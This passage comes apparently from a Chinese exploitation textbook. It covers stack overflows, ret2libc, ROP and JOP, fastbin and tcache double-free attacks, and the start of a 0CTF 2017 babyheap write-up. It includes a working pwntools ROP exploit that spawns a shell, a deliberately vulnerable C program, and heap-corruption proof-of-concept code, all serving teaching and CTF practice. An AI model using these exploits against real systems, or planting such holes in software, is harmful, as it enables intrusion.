1; int loc8 = arg8 + 8; return loc1 + loc8; } int main() { return func(11, 22, 33, 44, 55, 66, 77, 88); } // gcc -m32 stack.c -o stack32 // gcc stack.c -o stack64 第 10 章 栈溢出与 ROP ┃ XLI 图 10-1 x86 和 x86-64 的调用栈 先来看 x86 的情况,每一条汇编指令都已经做了详细的注释。 gef➤ disassemble main 0x080483fd <+0>: push ebp # 将栈底 ebp 压栈 (esp -= 4) 0x080483fe <+1>: mov ebp,esp # 更新 ebp 为当前栈顶 esp 0x08048400 <+3>: push 0x58 # 将 arg8 压栈 (esp -= 4) 0x08048402 <+5>: push 0x4d # 将 arg7 压栈 (esp -= 4) 0x08048404 <+7>: push 0x42 # 将 arg6 压栈 (esp -= 4) 0x08048406 <+9>: push 0x37 # 将 arg5 压栈 (esp -= 4) 0x08048408 <+11>:push 0x2c # 将 arg4 压栈 (esp -= 4) 0x0804840a <+13>:push 0x21 # 将 arg3 压栈 (esp -= 4) 0x0804840c <+15>:push 0x16 # 将 arg2 压栈 (esp -= 4) 0x0804840e <+17>:push 0xb # 将 arg1 压栈 (esp -= 4) 0x08048410 <+19>: call 0x80483db <func> # 调用 func (push 0x08048415) 0x08048415 <+24>:add esp,0x20 # 恢复栈顶 esp 0x08048418 <+27>:leave # (mov esp, ebp; pop ebp) 0x08048419 <+28>:ret # 函数返回 (pop eip) gef➤ disassemble func 0x080483db <+0>: push ebp # 将栈底 ebp 压栈 (esp -= 4) 0x080483dc <+1>: mov ebp,esp # 更新 ebp 为当前栈顶 esp 0x080483de <+3>: sub esp,0x10 # 为局部变量开辟栈空间 0x080483e1 <+6>: mov eax,DWORD PTR [ebp+0x8] # 取出 arg1 0x080483e4 <+9>: add eax,0x1 # 计算 loc1 0x080483e7 <+12>:mov DWORD PTR [ebp-0x8],eax # loc1 放入栈 0x080483ea <+15>:mov eax,DWORD PTR [ebp+0x24] # 取出 arg8 0x080483ed <+18>:add eax,0x8 # 计算 loc8 0x080483f0 <+21>:mov DWORD PTR [ebp-0x4],eax # loc8 放入栈 0x080483f3 <+24>:mov edx,DWORD PTR [ebp-0x8] 0x080483f6 <+27>:mov eax,DWORD PTR [ebp-0x4] 0x080483f9 <+30>:add eax,edx # 计算返回值 0x080483fb <+32>:leave # (mov esp, ebp; pop ebp) 0x080483fc <+33>:ret # 函数返回 (pop eip) 第 10 章 栈溢出与 ROP ┃ XLII 首先,被调用函数 func()的 8 个参数从后向前依次入栈,当执行 call 指令时,下一条指令的地址 0x08048415 作为返回地址入栈。然后程序跳转到 func(),在函数开头,将调用函数的 ebp 压栈保存 并更新为当前的栈顶地址 esp,作为新的栈基址,而 esp 则下移为局部变量开辟空间。函数返回时则 相反,通过 leave 指令将 esp 恢复为当前的 ebp,并从栈中将调用者的 ebp 弹出,最后 ret 指令弹出返 回地址作为 eip,程序回到 main()函数中,最后抬高 esp 清理被调用者的参数,一次函数调用的过程 就结束了。 gef➤ disassemble main 0x000000000040050a <+0>: push rbp # 将栈底 rbp 压栈 (rsp -= 8) 0x000000000040050b <+1>: mov rbp,rsp # 更新 rbp 为当前栈顶 rsp 0x000000000040050e <+4>: push 0x58 # 将 arg8 压栈 (rsp -= 8) 0x0000000000400510 <+6>: push 0x4d # 将 arg7 压栈 (rsp -= 8) 0x0000000000400512 <+8>: mov r9d,0x42 # 将 arg6 赋值给 r9 0x0000000000400518 <+14>: mov r8d,0x37 # 将 arg5 赋值给 r8 0x000000000040051e <+20>: mov ecx,0x2c # 将 arg4 赋值给 rcx 0x0000000000400523 <+25>: mov edx,0x21 # 将 arg3 赋值给 rdx 0x0000000000400528 <+30>: mov esi,0x16 # 将 arg2 赋值给 rsi 0x000000000040052d <+35>: mov edi,0xb # 将 arg1 赋值给 rdi 0x0000000000400532 <+40>: call 0x4004d6 <func> # 调用 func (push 0x400537) 0x0000000000400537 <+45>: add rsp,0x10 # 恢复栈顶 rsp 0x000000000040053b <+49>: leave # (mov rsp, rbp; pop rbp) 0x000000000040053c <+50>: ret # 函数返回 (pop rip) gef➤ disassemble func 0x00000000004004d6 <+0>: push rbp # 将栈底 rbp 压栈 (rsp -= 8) 0x00000000004004d7 <+1>: mov rbp,rsp # 更新 rbp 为当前栈顶 rsp 0x00000000004004da <+4>: mov DWORD PTR [rbp-0x14],edi 0x00000000004004dd <+7>: mov DWORD PTR [rbp-0x18],esi 0x00000000004004e0 <+10>: mov DWORD PTR [rbp-0x1c],edx 0x00000000004004e3 <+13>: mov DWORD PTR [rbp-0x20],ecx 0x00000000004004e6 <+16>: mov DWORD PTR [rbp-0x24],r8d 0x00000000004004ea <+20>: mov DWORD PTR [rbp-0x28],r9d 0x00000000004004ee <+24>: mov eax,DWORD PTR [rbp-0x14] 0x00000000004004f1 <+27>: add eax,0x1 0x00000000004004f4 <+30>: mov DWORD PTR [rbp-0x8],eax 0x00000000004004f7 <+33>: mov eax,DWORD PTR [rbp+0x18] 0x00000000004004fa <+36>: add eax,0x8 0x00000000004004fd <+39>: mov DWORD PTR [rbp-0x4],eax 0x0000000000400500 <+42>: mov edx,DWORD PTR [rbp-0x8] 0x0000000000400503 <+45>: mov eax,DWORD PTR [rbp-0x4] 0x0000000000400506 <+48>: add eax,edx # 计算返回值 0x0000000000400508 <+50>: pop rbp # 恢复 rbp (rsp += 8) 0x0000000000400509 <+51>: ret # 函数返回 (pop rip) 对于 x86-64 的程序,前 6 个参数分别通过 rdi、rsi、rdx、rcx、r8 和 r9 进行传递,剩余参数才像 x86 一样从后向前依次压栈。除此之外,我们还发现 func()没有下移 rsp 开辟栈空间的操作,导致 rbp 和 rsp 的值是相同的,其实这是一项编译优化:根据 AMD64 ABI 文档的描述,rsp 以下 128 字节的 区域被称为 red zone,这是一块被保留的内存,不会被信号或者中断所修改。于是,func()作为叶子 第 10 章 栈溢出与 ROP ┃ XLIII 函数就可以在不调整栈指针的情况下,使用这块内存保存临时数据。 在更极端的优化下,rbp 作为栈基址其实也是可以省略的,编译器完全可以使用 rsp 来代替,从 而减少指令数量。GCC 编译时添加参数“-fomit-frame-pointer”即可。 10.1.2 危险函数 大多数缓冲区溢出问题都是错误地使用了一些危险函数所导致的。第一类危险函数是 scanf、gets 等输入读取函数。下面的语句将用户输入读到 buf 中。其中,第一条 scanf 的格式字符串"%s"并未限 制读取长度,明显存在栈溢出的风险;第二条 scanf 使用"%ns"的形式限制了长度为 10,看似没有问 题,但由于 scanf()函数会在字符串末尾自动添加一个“\0”,如果输入刚好 10 个字符,那么“\0” 就会溢出。所以最安全的做法应该是第三条 scanf,既考虑了缓冲区大小,又考虑了函数特性。 char buf[10]; scanf("%s", buf); scanf("%10s", buf); scanf("%9s", buf); 第二类危险函数是 strcpy、strcat、sprintf 等字符串拷贝函数。考虑下面的语句,read()函数读取 用户输入到 srcbuf,这里很好地限制了长度。接下来 strcpy()把 srcbuf 拷贝到 destbuf,此时由于 destbuf 的最大长度只有 10,小于 srcbuf 的最大长度 20,显然是有可能造成溢出的。对于这种情况,建议使 用对应的安全函数 strncpy、strncat、snprintf 等来代替,这些函数都有一个 size 参数用于限制长度。 int len; char srcbuf[20]; char destbuf[10]; len = read(0, srcbuf, 19); src[len] = 0; strcpy(destbuf, srcbuf); 10.1.3 ret2libc 本节我们先讲解 shellcode 注入和 re2libc 两种比较简单的利用方式。 我们知道,栈溢出的主要目的就是覆写函数的返回地址,从而劫持控制流,在没有 NX 保护机 制的时候,在栈溢出的同时就可以将 shellcode 注入栈上并执行,如图 10-2 所示。padding1 使用任意 数据即可,比如“AAAA...”,一直覆盖到调用者的 ebp。然后在返回地址处填充上 shellcode 的地址, 当函数返回时,就会跳到 shellcode 的位置。padding2 也可以使用任意数据,但如果开启了 ASLR, 使 shellcode 的地址不太确定,那么就可以使用 NOP sled(“\x90\x90...”)作为一段滑板指令,当程 序跳到这段指令时就会一直滑到 shellcode 执行。 第 10 章 栈溢出与 ROP ┃ XLIV 图 10-2 ret2shellcode 示例 开 启 NX 后 , 栈 上 的 shellcode 不 可 执 行 , 这 时 就 需 要 使 用 ret2libc 来 调 用 libc.so 中 的 system("/bin/sh"),如图 10-3 所示。这一次返回地址被覆盖上 system()函数的地址,padding2 为其添 加一个伪造的返回地址,长度为 4 字节。紧接着放上"bin/sh"字符串的地址,作为 system()函数的参 数。如果开启了 ASLR,那么 system()和"/bin/sh"的地址就变成随机的,此时需要先做内存泄露,再 填充真实地址。 图 10-3 ret2libc 示例 这两种技术的示例请见 4.3 节,开启 ASLR 的例子参见 4.4 节。 10.2 返回导向编程 10.2.1 ROP 简介 最开始,要利用栈溢出只需将返回地址覆盖为 jmp esp 指令的地址,并在后面添加 shellcode 就 可以执行。后来引入了 NX 缓解机制,数据所在的内存页被标记为不可执行,此时再执行 shellcode 第 10 章 栈溢出与 ROP ┃ XLV 就会抛出异常。既然注入新代码不可行,那么就复用程序中已有的代码。libc.so 几乎在每个程序执 行时都会加载,攻击者就开始考虑利用 libc 中的函数,这种技术就是 ret2libc,我们在上一节已经讲 过。但是这种技术也有缺陷,首先,虽然攻击者可以一个接一个地调用 libc 中的函数,但这个执行 流仍然是线性的,而不像代码注入那样任意执行,其次,攻击者只能使用程序 text 段和 libc 中已有 的函数,通过移除这些特定的函数就可以限制此类攻击。 论文 The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)提出了一种新的攻击技术——返回导向编程(Return-Oriented Programming, ROP),无须调用任 何函数即可执行任意代码。 使用 ROP 攻击,首先需要扫描文件,提取出可用的 gadget 片段(通常以 ret 指令结尾),然后 将这些 gadget 根据所需要的功能进行组合,达到攻击者的目的。举个小例子,exit(0)的 shellcode 由 下面 4 条连续的指令组成。 ; exit(0) shellcode xor eax, eax xor ebx, ebx inc eax int 0x80 如果要将它改写成 ROP 链,则需要分别找到包含这些指令的 gadget,由于它们在地址上不一定 是连续的,所以需要通过 ret 指令进行连接,依次执行。 ; exit(0) ROP chain xor eax, eax ; gadget 1 ret xor ebx, ebx ; gadget 2 ret inc eax ; gadget 3 ret int 0x80 ; gadget 4 为了完成指令序列的构建,首先需要找到这些以 ret 指令结尾,并且在执行时必然以 ret 结束, 而不会跳到其他地方的 gadget,算法如图 10-4 所示。 图 10-4 gadget 搜索算法 第 10 章 栈溢出与 ROP ┃ XLVI 即扫描二进制找到 ret(c3)指令,将其作为 trie 的根节点,然后回溯解析前面的指令,如果是 有效指令,将其添加为子节点,再判断是否 boring;如果不是,就继续递归回溯。举个例子,在一 个 trie 中一个表示 pop %eax 的节点是表示 ret 的根节点的子节点,则这个 gadget 为 pop %eax; ret。 如此就能把有用的 gadgets 都找出来了。boring 指令则分为三种情况: (1)该指令是 leave,后跟一个 ret 指令; (2)该指令是一个 pop %ebp,后跟一个 ret 指令; (3)该指令是返回或者非条件跳转。 实际上,有很多工具可以帮助我们完成 gadget 搜索的工作,常用的有 ROPgadget、Ropper 等, 还可以直接在 ropshell 网站上搜索。 gadgets 在多个体系架构上都是图灵完备的,允许任意复杂度的计算,也就是说基本上只要能想 到的事情它都可以做。下面简单介绍几种用法。 (1)保存栈数据到寄存器。弹出栈顶数据到寄存器中,然后跳转到新的栈顶地址。所以当返回 地址被一个 gadget 的地址覆盖,程序将在返回后执行该指令序列。例如:pop eax; ret; (2)保存内存数据到寄存器。例如:mov ecx,[eax]; ret; (3)保存寄存器数据到内存。例如:mov [eax],ecx; ret; (4)算数和逻辑运算。add、sub、mul、xor 等。例如:add eax,ebx; ret, xor edx,edx; ret; (5)系统调用。执行内核中断。例如:int 0x80; ret, call gs:[0x10]; ret; (6)会影响栈帧的 gadget。这些 gadget 会改变 ebp 的值,从而影响栈帧,在一些操作如 stack pivot 时我们需要这样的指令来转移栈帧。例如:leave; ret, pop ebp; ret。 10.2.2 ROP 的变种 论文 Return-Oriented Programming without Returns 中指出,正常程序的指令流执行和 ROP 的指 令流有很大不同,至少存两点:第一,ROP 执行流会包含很多 ret 指令,而且这些 ret 指令可能只间 隔了几条其他指令;第二,ROP 利用 ret 指令来 unwind 堆栈,却没有与 ret 指令相对应的 call 指令。 针对上面两点不同,研究人员随后提出了多种 ROP 检测和防御技术,例如:针对第一点,可以 检测程序执行中是否有频繁 ret 的指令流,作为报警的依据;针对第二点,可以通过 call 和 ret 指令 的配对情况来判断异常。或者维护一个影子栈(shadow stack)作为正常栈的备份,每次 ret 的时候 就与正常栈对比一下;还有更极端的,直接在编译器层面重写二进制文件,消除里面的 ret 指令。 这些早期的防御技术其实都默认了一个前提,即 ROP 中必定存在 ret 指令。那么反过来想,如 果攻击者能够找到既不使用 ret 指令,又能改变执行流的 ROP 链,就能成功绕过这些防御。于是, 就诞生了不依赖于 ret 指令的 ROP 变种。 我们知道 ret 指令的作用主要有两个:一个是通过间接跳转改变执行流,另一个是更新寄存器状 第 10 章 栈溢出与 ROP ┃ XLVII 态。在 x86 和 ARM 中都存在一些指令序列,也能够完成这些工作,它们首先更新全局状态(如栈 指针),然后根据更新后的状态加载下一条指令的地址,并跳转过去执行。我们把这样的指令序列 叫作 update-load-branch,使用它们来避免 ret 指令的使用。由于 update-load-branch 相比 ret 指令更加 稀少,所以通常作为跳板(trampoline)来重复利用。当一个 gadget 执行结束后,跳转到 trampoline, trampoline 更新程序状态后把控制权交到下一个 gadget,由此形成 ROP 链。如图 10-5 所示。 图 10-5 不依赖 ret 指令的 ROP 由于这些 gadgets 都以 jmp 指令作为结尾,我们就称之为 JOP(Jump-Oriented Programming), 考虑下面的 gadget: pop %eax; jmp *%eax 它的行为和 ret 很像,唯一的副作用是覆盖了 eax 寄存器,假如程序执行不依赖于 eax,那么这 一段指令就可以取代 ret。当然,eax 可以被换成任意一个通用寄存器,而且比起单间接跳转,我们 通常更愿意使用双重间接跳转: pop %eax; jmp *(%eax) 此时,eax 存放的是一个被称为 sequence catalog 表的地址,该表用于存放各种指令序列的地址, 也就是一个类似于 GOT 表的东西。所谓双间接跳转,就是先从上一段指令序列跳到 catalog 表,然 后从 catalog 表跳到下一段指令序列。这样做使得 ROP 链的构造更加便捷,甚至可以根据偏移来实 现跳转。如图 10-6 所示。 图 10-6 JOP 示例 第 10 章 栈溢出与 ROP ┃ XLVIII 另一篇论文 Jump-Oriented Programming: A New Class of Code-Reuse Attack 几乎同时提出了这种 基于 jmp 指令的攻击方法。除此之外,ROP 的变种还包括 string-oriented programming(SOP)、 sigreturn-oriented programming(SROP) 、 data-oriented programming(DOP) 、 crash-resistant oriented programming(CROP)和 printf programming。 10.2.3 示例 ROP 的 payload 由一段触发栈溢出的 padding 和各条 gadget 及其参数组成,这些参数通常用于 pop 指令,来设置寄存器的值。当函数返回时,将执行第一条 gadget 1,直到遇到 ret 指令,再跳转 到 gadget 2 继续执行,以此类推。内存布局如图 10-7 所示。 图 10-7 ROP 的内存布局示例 将下面的示例代码编译成带 PIE 的 64 位程序。由于 64 位程序在传递前几个参数时使用了寄存 器,而不是栈,所以就需要攻击者找到一些 gadgets 用于设置寄存器的值。在这里就是“pop rdi; ret”, 用于将“/bin/sh”的地址存到 rdi 寄存器。 #include <stdio.h> #include <unistd.h> #include <dlfcn.h> void vuln_func() { char buf[128]; read(STDIN_FILENO, buf, 256); } int main(int argc, char *argv[]) { void *handle = dlopen("libc.so.6", RTLD_NOW | RTLD_GLOBAL); printf("%p\n", dlsym(handle, "system")); vuln_func(); write(STDOUT_FILENO, "Hello world!\n", 13); } $ gcc -fno-stack-protector -z noexecstack -pie -fpie rop.c -ldl -o rop64 $ ROPgadget --binary /lib/x86_64-linux-gnu/libc-2.23.so --only "pop|ret" | grep rdi 第 10 章 栈溢出与 ROP ┃ XLIX 0x0000000000021102 : pop rdi ; ret 方便起见,程序直接打印了 system 函数的地址,来模拟信息泄露。完整的利用代码如下所示。 from pwn import * io = process('./rop64') libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') system_addr = int(io.recvline(), 16) libc_addr = system_addr - libc.sym['system'] binsh_addr = libc_addr + next(libc.search('/bin/sh')) pop_rdi_addr = libc_addr + 0x0000000000021102 payload = "A"*136 + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr) io.send(payload) io.interactive() 第 11 章 堆利用 ┃ L 第 11 章 堆利用 11.3 fastbin 二次释放 由于 fastbin 采用单链表结构(通过 fd 指针进行链接),且当 chunk 释放时,不会清空 next_chunk 的 prev_inuse,再加上一些检查机制上的不完善,使得 fastbin 比较脆弱。针对它的攻击方法包括二 次释放、修改 fd 指针并申请(或释放)任意位置的 chunk(或 fake chunk)等,条件是存在堆溢出或 者其他漏洞可以控制 chunk 的内容。 11.3.1 fastbin dup fastbin chunk 可以很轻松地绕过检查多次释放,当这些 chunk 被重新分配出来时,就会导致多个 指针指向同一个 chunk。 fastbin 对二次释放的检查机制仅仅验证了当前块是否与链表头部的块相同,而对链表中其他的 块则没有做验证。另外,在释放时还有对当前块的 size 域与头部块的 size 域是否相等的检查,由于 我们释放的是同一个块,也就不存在该问题,如下所示。 mchunkptr old = *fb, old2; unsigned int old_idx = ~0u; do { /* Check that the top of the bin is not the record we are going to add (i.e., double free). */ if (__builtin_expect (old == p, 0)) { errstr = "double free or corruption (fasttop)"; goto errout; } if (have_lock && old != NULL) old_idx = fastbin_index(chunksize(old)); p->fd = old2 = old; } while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2); 第 11 章 堆利用 ┃ LI if (have_lock && old != NULL && __builtin_expect (old_idx != idx, 0)) { errstr = "invalid fastbin entry (free)"; goto errout; } 下面来看一个例子,在两次调用 free(a)之间,插入其他的释放操作,即可绕过检查。 #include <stdio.h> #include <stdlib.h> int main() { /* fastbin double-free */ int *a = malloc(8); // malloc 3 buffers int *b = malloc(8); int *c = malloc(8); fprintf(stderr, "malloc a: %p\n", a); fprintf(stderr, "malloc b: %p\n", b); fprintf(stderr, "malloc c: %p\n", c); free(a); // free the first one free(b); // free the other one free(a); // free the first one again fprintf(stderr, "free a => free b => free a\n"); int *d = malloc(8); // malloc 3 buffers again int *e = malloc(8); int *f = malloc(8); fprintf(stderr, "malloc d: %p\n", d); fprintf(stderr, "malloc e: %p\n", e); fprintf(stderr, "malloc f: %p\n", f); for(int i=0; i<10; i++) { // loop malloc fprintf(stderr, "%p\n", malloc(8)); } /* fastbin dup into stack */ unsigned int stack_var = 0x21; fprintf(stderr, "\nstack_var: %p\n", &stack_var); unsigned long long *g = malloc(8); *g = (unsigned long long) (((char*)&stack_var) - sizeof(g)); //overwrite fd fprintf(stderr, "malloc g: %p\n", g); int *h = malloc(8); int *i = malloc(8); int *j = malloc(8); fprintf(stderr, "malloc h: %p\n", h); fprintf(stderr, "malloc i: %p\n", i); fprintf(stderr, "malloc j: %p\n", j); } $ gcc -g fastbin_dup.c -o fastbin_dup 第 11 章 堆利用 ┃ LII $ ./fastbin_dup malloc a: 0x186c010 malloc b: 0x186c030 malloc c: 0x186c050 free a => free b => free a malloc d: 0x186c010 malloc e: 0x186c030 malloc f: 0x186c010 0x186c030 0x186c010 ... stack_var: 0x7ffe9a4da1b0 malloc g: 0x186c030 malloc h: 0x186c010 malloc i: 0x186c030 malloc j: 0x7ffe9a4da1b8 先看程序的前半部分(标记为“fastbin double-free”),释放后的 fastbins 如下所示。 gef➤ p main_arena.fastbinsY $1 = {0x602000, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0} gef➤ x/16gx 0x602000 0x602000: 0x0000000000000000 0x0000000000000021 <- chunk_a [double-free] 0x602010: 0x0000000000602020 0x0000000000000000 <- fd 0x602020: 0x0000000000000000 0x0000000000000021 <- chunk_b [free] 0x602030: 0x0000000000602000 0x0000000000000000 <- fd 0x602040: 0x0000000000000000 0x0000000000000021 <- chunk_c 0x602050: 0x0000000000000000 0x0000000000000000 0x602060: 0x0000000000000000 0x0000000000020fa1 <- top chunk gef➤ heap bins fast Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) → [loop detected] 接下来调用 3 个 malloc()函数,依次从 fastbin 中取出 chunk_a、chunk_b 和 chunk_a。事实上, 由于 chunk_a 和 chunk_b 已经形成了循环,我们几乎可以无限次地调用 malloc()函数,如图 11-10 所 示。 第 11 章 堆利用 ┃ LIII 图 11-10 二次释放后的链表 那么如果我们不希望一直循环地调用 malloc()函数,应该怎么做呢?答案是修改 fd 指针。来看 程序的后半部分(标记为“fastbin dup into stack”)。假设能够在栈上随意写入(本例中 stack_var 被赋值为 0x21,作为 fake chunk 的 size),且可以修改 chunk 的内容,那么就可以利用二次释放获 取 chunk,修改其 fd 指针指向任意伪造的 chunk(任意可写内存,stack、bss、heap 等),并在随后 的 malloc()调用中将伪造的 chunk 变成真实的 chunk。如图 11-11 所示。 gef➤ p main_arena.fastbinsY $2 = {0x602000, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0} gef➤ x/16gx 0x602000 0x602000: 0x0000000000000000 0x0000000000000021 <- chunk_h 0x602010: 0x0000000000602020 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000021 <- chunk_g, chunk_i 0x602030: 0x00007fffffffdad8 0x0000000000000000 <- fd 0x602040: 0x0000000000000000 0x0000000000000021 0x602050: 0x0000000000000000 0x0000000000000000 0x602060: 0x0000000000000000 0x0000000000020fa1 gef➤ x/4gx 0x00007fffffffdad8 0x7fffffffdad8: 0x000000000040089b 0x0000000a00000021 <- fake chunk, chunk_j 0x7fffffffdae8: 0x0000000000602010 0x0000000000602030 gef➤ heap bins fast Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x7fffffffdae8, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602020, size=0x0, flags=) [incorrect fastbin_index] 第 11 章 堆利用 ┃ LIV 图 11-11 二次释放并修改 fd 指针后的链表 最后再解释一下 fake chunk 的 size 域设置为 0x21 的原因。当我们修改了 chunk_g 的 fd,使其指 向 fake chunk 时,就相当于 fake chunk 作为 free chunk 被链接进了 fastbin,那么在执行 malloc()函数 时,就需要接受检查,即该 chunk 的 size 大小是否与其所在的 fastbin 相匹配,检查过程如下所示。 if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ())) { idx = fastbin_index (nb); mfastbinptr *fb = &fastbin (av, idx); mchunkptr pp = *fb; do { victim = pp; if (victim == NULL) break; } while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim)) != victim); if (victim != 0) { if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0)) { errstr = "malloc(): memory corruption (fast)"; errout: malloc_printerr (check_action, errstr, chunk2mem (victim), av); return NULL; } check_remalloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } fastbin_index()的计算方式如下所示。 /* offset 2 to use otherwise unindexable first 2 bins */ 第 11 章 堆利用 ┃ LV #define fastbin_index(sz) \ ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2) 最后,我们来看 libc-2.26,由于新添加的 tcache 机制不会检查二次释放,因此不必考虑如何绕 过的问题,直接释放两次即可,fastbin dup 变得更加简单,甚至还不局限于 fastbin 大小的 chunk,我 们称之为 tcache dup。下面是一个示例程序。 #include <stdlib.h> #include <stdio.h> int main() { void *p1 = malloc(0x10); fprintf(stderr, "1st malloc(0x10): %p\n", p1); fprintf(stderr, "free the chunk twice\n"); free(p1); free(p1); fprintf(stderr, "2nd malloc(0x10): %p\n", malloc(0x10)); fprintf(stderr, "3rd malloc(0x10): %p\n", malloc(0x10)); } $ gcc -L/usr/local/glibc-2.26/lib -Wl,--rpath=/usr/local/glibc-2.26/lib -Wl,-I/usr/local/glibc-2.26/lib/ld-2.26.so -g tcache_dup.c -o tcache_dup $ ./tcache_dup 1st malloc(0x10): 0x2164260 free the chunk twice 2nd malloc(0x10): 0x2164260 3rd malloc(0x10): 0x2164260 同样地,fastbin dup into stack 攻击也可以对应到 tcache dup into stack 攻击,或者称为 tcache poisoning。其方法是修改 tcache bin 中 chunk 的 fd 指针为目标位置,也就是改变 tcache_entry 的 next 指针,在调用 malloc()时即可在目标位置得到 chunk。对此,tcache_get()函数没有做任何的检查。示 例程序如下。 #include <stdio.h> #include <stdlib.h> int main() { int64_t *p1, *p2, *p3, target[10]; printf("target stack: %p\n", target); p1 = malloc(0x30); fprintf(stderr, "p1 malloc(0x30): %p\n", p1); free(p1); *p1 = (int64_t)target; fprintf(stderr, "free(p1) and overwrite the next ptr\n"); p2 = malloc(0x30); p3 = malloc(0x30); fprintf(stderr, "p2 malloc(0x30): %p\np3 malloc(0x30): %p\n", p2, p3); } $ gcc -L/usr/local/glibc-2.26/lib -Wl,--rpath=/usr/local/glibc-2.26/lib -Wl,-I/usr/local/glibc-2.26/lib/ld-2.26.so -g tcache_poisoning.c -o 第 11 章 堆利用 ┃ LVI tcache_poisoning $ ./tcache_poisoning target stack: 0x7ffc324602a0 p1 malloc(0x30): 0x2593670 free(p1) and overwrite the next ptr p2 malloc(0x30): 0x2593670 p3 malloc(0x30): 0x7ffc324602a0 11.3.2 fastbin dup consolidate fastbin dup consolidate 是另一种绕过 fastbin 二次释放检查的方法。我们知道 libc 在分配 large chunk 时,如果 fastbins 不为空,则调用 malloc_consolidate()函数合并里面的 chunk,并放入 unsorted bin;接下来,unsorted bin 中的 chunk 又被取出放回各自对应的 bins。此时 fastbins 被清空,再次释 放时也就不会触发二次释放。 if (in_smallbin_range (nb)) { ...... } else { idx = largebin_index (nb); if (have_fastchunks (av)) malloc_consolidate (av); } for (;; ) { int iters = 0; while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) { ...... /* remove from unsorted list */ unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av); ...... /* place chunk in bin */ if (in_smallbin_range (size)) { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; } else { 示例程序如下。 #include <stdio.h> #include <stdlib.h> int main() { void* p1 = malloc(8); void* p2 = malloc(8); fprintf(stderr, "malloc two fastbin chunk: p1=%p p2=%p\n", p1, p2); free(p1); fprintf(stderr, "free p1\n"); 第 11 章 堆利用 ┃ LVII void* p3 = malloc(0x400); fprintf(stderr, "malloc large chunk: p3=%p\n", p3); free(p1); fprintf(stderr, "double free p1\n"); fprintf(stderr, "malloc two fastbin chunk: %p %p\n", malloc(8), malloc(8)); } $ gcc -g fastbin_dup_consolidate.c -o fastbin_dup_consolidate $ ./fastbin_dup_consolidate malloc two fastbin chunk: p1=0x7f9010 p2=0x7f9030 free p1 malloc large chunk: p3=0x7f9050 double free p1 malloc two fastbin chunk: 0x7f9010 0x7f9010 与fastbin dup中两个被释放的chunk都被放入fastbins不同,此次释放的两个chunk分别位于small bins 和 fastbins。此时连续分配两个相同大小的 fastbin chunk,分别从 fastbins 和 small bins 中取出, 如下所示。 gef➤ heap bins fast Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) gef➤ heap bins small [+] small_bins[1]: fw=0x602000, bk=0x602000 → Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) gef➤ x/12gx 0x602010 - 0x10 0x602000: 0x0000000000000000 0x0000000000000021 # p1 0x602010: 0x0000000000000000 0x00007ffff7dd1b88 0x602020: 0x0000000000000020 0x0000000000000020 # p2 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000411 # p3 0x602050: 0x0000000000000000 0x0000000000000000 gef➤ x/20gx (void *)&main_arena + 0x8 0x7ffff7dd1b28: 0x0000000000602000 0x0000000000000000 # fastbins 0x7ffff7dd1b38: 0x0000000000000000 0x0000000000000000 ...... 0x7ffff7dd1b68: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78: 0x0000000000602450 0x0000000000000000 # unsorted thunks 0x7ffff7dd1b88: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 # small_bins thunks 0x7ffff7dd1b98: 0x0000000000602000 0x0000000000602000 # fd, bk 0x7ffff7dd1ba8: 0x00007ffff7dd1b98 0x00007ffff7dd1b98 0x7ffff7dd1bb8: 0x00007ffff7dd1ba8 0x00007ffff7dd1ba8 需要注意的是,虽然fastbin chunk 的next chunk的 PREV_INUSE标志永远为 1,但是如果该fastbin chunk 被放到 unsorted bin 中,next chunk 的 PREV_INUSE 也会相应被修改为 0。这一点对构造不安 全的 unlink 攻击很有帮助。 图 11-12 展示了 chunk p1 同时存在于 fastbins 和 small bins 中的情景。 第 11 章 堆利用 ┃ LVIII 图 11-12 chunk p1 同时存在于两个链表中 11.3.3 0CTF 2017:babyheap 例题来自 2017 年的 0CTF,考察了简单的堆利用技术。 $ file babyheap babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9e5bfa980355d6158a76acacb7bda01f4e3fc1c2, stripped $ pwn checksec babyheap Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled 程序分析 使用 IDA 进行逆向分析,程序可分为 Allocate、Fill、Free 和 Dump 四个部分。我们先来看负责 分配堆块的 Allocate 部分。 void __fastcall sub_D48(__int64 a1) { signed int i; // [rsp+10h] [rbp-10h] signed int v2; // [rsp+14h] [rbp-Ch] void *v3; // [rsp+18h] [rbp-8h] for ( i = 0; i <= 15; ++i ) { if ( !*(_DWORD *)(0x18LL * i + a1) ) { // table[i].in_use printf("Size: "); v2 = sub_138C(); // size if ( v2 > 0 ) { if ( v2 > 0x1000 ) v2 = 0x1000; 